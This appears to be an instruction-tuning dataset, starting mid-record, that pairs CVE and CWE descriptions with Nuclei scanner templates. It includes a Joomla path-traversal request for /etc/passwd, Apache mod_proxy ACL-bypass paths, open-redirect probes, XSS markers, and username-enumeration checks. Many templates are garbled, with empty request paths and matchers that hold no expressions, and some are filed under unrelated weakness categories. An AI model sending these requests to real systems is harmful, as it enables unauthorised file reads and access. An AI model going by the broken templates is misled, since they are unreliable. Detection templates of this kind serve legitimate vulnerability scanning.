Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: gpoddernet

info:
  name: Gpodder.net User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Gpodder.net user name information check was conducted.
  tags: osint,osint-music,gpoddernet,discovery

http:
  - method: GET
    path:
      - "https://gpodder.net/user/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "mdash; gpodder.net"
        part: body


Instruction: Generate a Nuclei template for CVE-2021-40973

Input:
Title: Cross-Site Scripting (XSS) in spotweb_project spotweb
Summary: Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: spotweb_project spotweb
Indicators: error, vulnerability detected

Output:
id: CVE-2021-40973

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.
  tags: cve2021,cve,xss,spotweb,spotweb_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-28995

Input:
Title: Path Traversal in solarwinds serv-u
Summary:

SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.

Vulnerability Type: Path Traversal
Severity: high
Affected Products: solarwinds serv-u
Indicators: error, vulnerability detected

Output:
id: CVE-2024-28995

info:
  name: SolarWinds Serv-U - Directory Traversal
  author: DhiyaneshDK
  severity: high
  description: SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.
  tags: cve,cve2024,lfi,solarwinds,serv-u,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body
        condition: or
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2018-19136

Input:
Title: Cross-Site Scripting (XSS) in domainmod domainmod
Summary: DomainMOD through 4.11.01 has XSS via the assets/edit/registrar-account.php raid parameter.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: domainmod domainmod
Indicators: error, vulnerability detected

Output:
id: CVE-2018-19136

info:
  name: DomainMOD 4.11.01 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: DomainMOD 4.11.01 is vulnerable to reflected cross-site scripting via assets/edit/registrar-account.php.
  tags: cve2018,cve,edb,domainmod,xss,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""><script>alert(document.domain)</script>&really_del=1">YES"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-38473

Input:
Title: Vulnerability (CWE-116) in apache http_server and others
Summary: Encoding problem in mod_proxy in Apache HTTP Server 2.4.59 and earlier allows request URLs with incorrect encoding to be sent to backend services, potentially bypassing authentication via crafted requests.
Users are recommended to upgrade to version 2.4.60, which fixes this issue.
Vulnerability Type: Vulnerability (CWE-116)
Severity: high
Affected Products: apache http_server, netapp ontap
Indicators: error, vulnerability detected

Output:
id: CVE-2024-38473

info:
  name: Apache HTTP Server - ACL Bypass
  author: pdteam
  severity: high
  description: Encoding problem in mod_proxy in Apache HTTP Server 2.4.59 and earlier allows request URLs with incorrect encoding to be sent to backend services, potentially bypassing authentication via crafted requests.
  tags: cve,cve2024,apache,acl-bypass,mod_proxy,php-fpm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{files}}"
    matchers:
      - type: status
        status:
          - 403
  - method: GET
    path:
      - "{{BaseURL}}/{{http_1_files}}%3ftest.php"
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
      - "{{BaseURL}}/html/usr/share/doc/hostname/copyright%3f"
    matchers:
      - type: word
        words:
          - "On Debian systems, the complete text of the GNU General Public License"
          - "This package was written by Peter Tobias"
        condition: and


Instruction: Generate a Nuclei template for CVE-2018-18069

Input:
Title: Cross-Site Scripting (XSS) in wpml wpml
Summary: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: wpml wpml
Indicators: error, vulnerability detected

Output:
id: CVE-2018-18069

info:
  name: WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting
  author: nadino
  severity: medium
  description: WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
  tags: cve2018,cve,wordpress,xss,plugin,wpml,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2018-16761

Input:
Title: Vulnerability (CWE-601) in eventum_project eventum
Summary: Eventum before 3.4.0 has an open redirect vulnerability.
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: eventum_project eventum
Indicators: error, vulnerability detected

Output:
id: CVE-2018-16761

info:
  name: Eventum <3.4.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Eventum before 3.4.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2018,redirect,eventum,oss,eventum_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/select_project.php?url=http://interact.sh"
      - "{{BaseURL}}/clock_status.php?current_page=http://interact.sh"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template for: Esafenet CDG NoticeAjax - Sql Injection

Input:
Title: Esafenet CDG NoticeAjax - Sql Injection
Summary: Esafenet CDG NoticeAjax - Sql Injection. CDGServer3 NoticeAjax Interface Sql Injection.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: esafenet-noticeajax-sqli

info:
  name: Esafenet CDG NoticeAjax - Sql Injection
  author: adeljck
  severity: high
  description: CDGServer3 NoticeAjax Interface Sql Injection.
  tags: esafenet,sqli,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2019-12987

Input:
Title: OS Command Injection in citrix netscaler_sd-wan and others
Summary: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
Vulnerability Type: OS Command Injection
Severity: critical
Affected Products: citrix netscaler_sd-wan, citrix sd-wan
Indicators: error, vulnerability detected

Output:
id: CVE-2019-12987

info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for action, host, path, or type, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2019,citrix,rce,unauth,oast,tenable,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
      - type: word
        words:
          - "http"
        part: interactsh_protocol


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: magabook

info:
  name: MAGABOOK User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: MAGABOOK user name information check was conducted.
  tags: osint,osint-social,magabook,discovery

http:
  - method: GET
    path:
      - "https://magabook.com/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Recent Updates"
        part: body


Instruction: Generate a Nuclei template for CVE-2022-0817

Input:
Title: SQL Injection in badgeos badgeos
Summary: The BadgeOS WordPress plugin through 3.7.0 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: badgeos badgeos
Indicators: error, vulnerability detected

Output:
id: CVE-2022-0817

info:
  name: WordPress BadgeOS <=3.7.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: WordPress BadgeOS plugin through 3.7.0  contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  tags: cve,cve2022,wp,unauth,sqli,wp-plugin,badgeos,wpscan,wordpress,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2021-37304

Input:
Title: Vulnerability (CWE-732) in jeecg jeecg
Summary: An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.
Vulnerability Type: Vulnerability (CWE-732)
Severity: high
Affected Products: jeecg jeecg
Indicators: error, vulnerability detected

Output:
id: CVE-2021-37304

info:
  name: Jeecg Boot <= 2.4.5 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.
  tags: cve2021,cve,jeecg,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/actuator/httptrace/"
    matchers:
      - type: word
        words:
          - ""traces":["
          - ""headers""
          - ""request":{"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Confused Deputy

Input:
Title: Confused Deputy (CWE-441)
Summary: The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. If an attacker cannot directly contact a target, but the produc
Vulnerability Type: Confused Deputy
Severity: medium
Indicators: unexpected

Output:
id: metadata-service-openstack

info:
  name: Openstack Metadata Service Check
  author: sullo
  severity: critical
  description: The Openstack host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
  tags: exposure,config,openstack,proxy,misconfig,metadata,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "vendor_data.json"
        part: body


Instruction: Generate a Nuclei template for CVE-2024-4443

Input:
Title: SQL Injection in businessdirectoryplugin business_directory
Summary: The Business Directory Plugin – Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the ‘listingfields’ parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: businessdirectoryplugin business_directory
Indicators: error, vulnerability detected

Output:
id: CVE-2024-4443

info:
  name: Business Directory Plugin <= 6.4.2 - SQL Injection
  author: s4e-io
  severity: critical
  description: The Business Directory Plugin Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the ‘listingfields’ parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
  tags: time-based-sqli,cve,cve2024,sqli,business-directory,wordpress,wp-plugin,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2020-22840

Input:
Title: Vulnerability (CWE-601) in b2evolution b2evolution
Summary: Open redirect vulnerability in b2evolution CMS version prior to 6.11.6 allows an attacker to perform malicious open redirects to an attacker controlled resource via redirect_to parameter in email_passthrough.php.
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: b2evolution b2evolution
Indicators: error, vulnerability detected

Output:
id: CVE-2020-22840

info:
  name: b2evolution CMS <6.11.6 - Open Redirect
  author: geeknik
  severity: medium
  description: b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2020,packetstorm,edb,redirect,b2evolution,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template for CVE-2010-1531

Input:
Title: Path Traversal in redcomponent com_redshop
Summary: Directory traversal vulnerability in the redSHOP (com_redshop) component 1.0.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: redcomponent com_redshop
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1531

info:
  name: Joomla! Component redSHOP 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the redSHOP (com_redshop) component 1.0.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  tags: cve2010,cve,lfi,edb,packetstorm,joomla,redcomponent,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-28255

Input:
Title: Authentication Bypass in open-metadata openmetadata
Summary: OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.
Vulnerability Type: Authentication Bypass
Severity: critical
Affected Products: open-metadata openmetadata
Indicators: error, vulnerability detected

Output:
id: CVE-2024-28255

info:
  name: OpenMetadata - Authentication Bypass
  author: DhiyaneshDK,iamnooob
  severity: critical
  description: OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.
  tags: cve,cve2024,openmetadata,rce,auth-bypass,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-34133

Input:
Title: SQL Injection in sonicwall analytics and others
Summary: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SonicWall GMS and Analytics allows an unauthenticated attacker to extract sensitive information from the application database. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: sonicwall analytics, sonicwall global_management_system
Indicators: error, vulnerability detected

Output:
id: CVE-2023-34133

info:
  name: SonicWall GMS and Analytics - SQL Injection
  author: theamanrawat
  severity: high
  description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SonicWall GMS and Analytics allows an unauthenticated attacker to extract sensitive information from the application database. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.
  tags: cve2023,cve,sonicwall,sqli,injection,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "{{md5(num)}}"
        part: body